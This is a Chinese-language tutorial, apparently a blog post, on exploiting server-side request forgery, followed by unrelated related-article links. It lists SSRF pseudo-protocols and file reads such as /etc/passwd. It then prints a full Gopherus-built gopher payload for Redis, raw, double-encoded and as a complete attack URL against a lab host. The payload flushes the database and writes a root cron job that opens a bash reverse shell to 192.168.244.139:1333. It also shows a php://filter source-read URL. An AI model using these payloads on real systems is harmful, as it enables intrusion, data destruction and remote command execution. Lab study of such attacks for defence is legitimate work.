SSRF漏洞利用

2.漏洞利用

2.1 SSRF中URL的伪协议

file:// 从⽂件系统中获取⽂件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如dict://ip:6379/info

sftp:// ssh⽂件传输协议或安全⽂件传输协议

ldap:// 轻量级⽬录访问协议

tftp:// 简单⽂件传输协议

gopher:// 分布式⽂档传递服务,可使⽤gopherus⽣成payload

2.2 本地文件读取

windows:[file://c:\windows\system.ini](file:///c:/windows/system.ini)

linux:[file:///etc/hosts](file:///etc/hosts)

2.3 探测内网端口

Dict://10.0.138.47:3306

2.4 gopher

2.4.1 使用gopher监听


2.4.2 写shell

使用gopherus3.py构造出对redis的一个payload:

复制代码
_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.244.139/1333%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

对其进行二次url编码,得到:

复制代码
_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252470%250D%250A%250A%250A%252A%2F1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.244.139%2F1333%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2Fvar%2Fspool%2Fcron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

向靶机写入文件:
http://192.168.244.130/curl.php?path=gopher://192.168.244.132:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252470%250D%250A%250A%250A%252A%2F1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.244.139%2F1333%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2Fvar%2Fspool%2Fcron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

发现靶机的/var/spool/cron出现root文件

查看写入的反弹shell

使用命令

发现监听主机得到反弹shell

输入ifconfig发现成功

2.5 读取远程文件

2.6 读取php源码

http://192.168.244.130/curl.php?php://filter/convert.base64-encode/resource=C:\\phpStudy\\phpstudy_pro\\WWW\\system.php

相关推荐
用户479492835691533 分钟前
面试官:讲讲2FA 双因素认证原理
前端·后端·安全
望获linux1 小时前
【实时Linux实战系列】实时系统的可观测性:Prometheus 与 Grafana 集成
大数据·linux·服务器·开发语言·网络·操作系统
红尘客栈22 小时前
K8s-kubeadmin 1.28安装
java·网络·kubernetes
hello_2502 小时前
动手模拟k8s网络-vxlan模式
网络·容器·kubernetes
Mintimate2 小时前
Vue项目接口防刷加固:接入腾讯云天御验证码实现人机验证、恶意请求拦截
前端·vue.js·安全
网安INF3 小时前
网络攻防技术:网络安全攻击概述
安全·web安全·网络安全·网络攻防
我梦之63 小时前
libevent输出缓存区的数据
服务器·网络·c++·缓存
帅帅梓4 小时前
docker网络
网络·docker·php
深盾安全4 小时前
C++实战:快速提取Android APK数字签名
安全
white-persist4 小时前
SQL 注入详解:从原理到实战
前端·网络·数据库·sql·安全·web安全·原型模式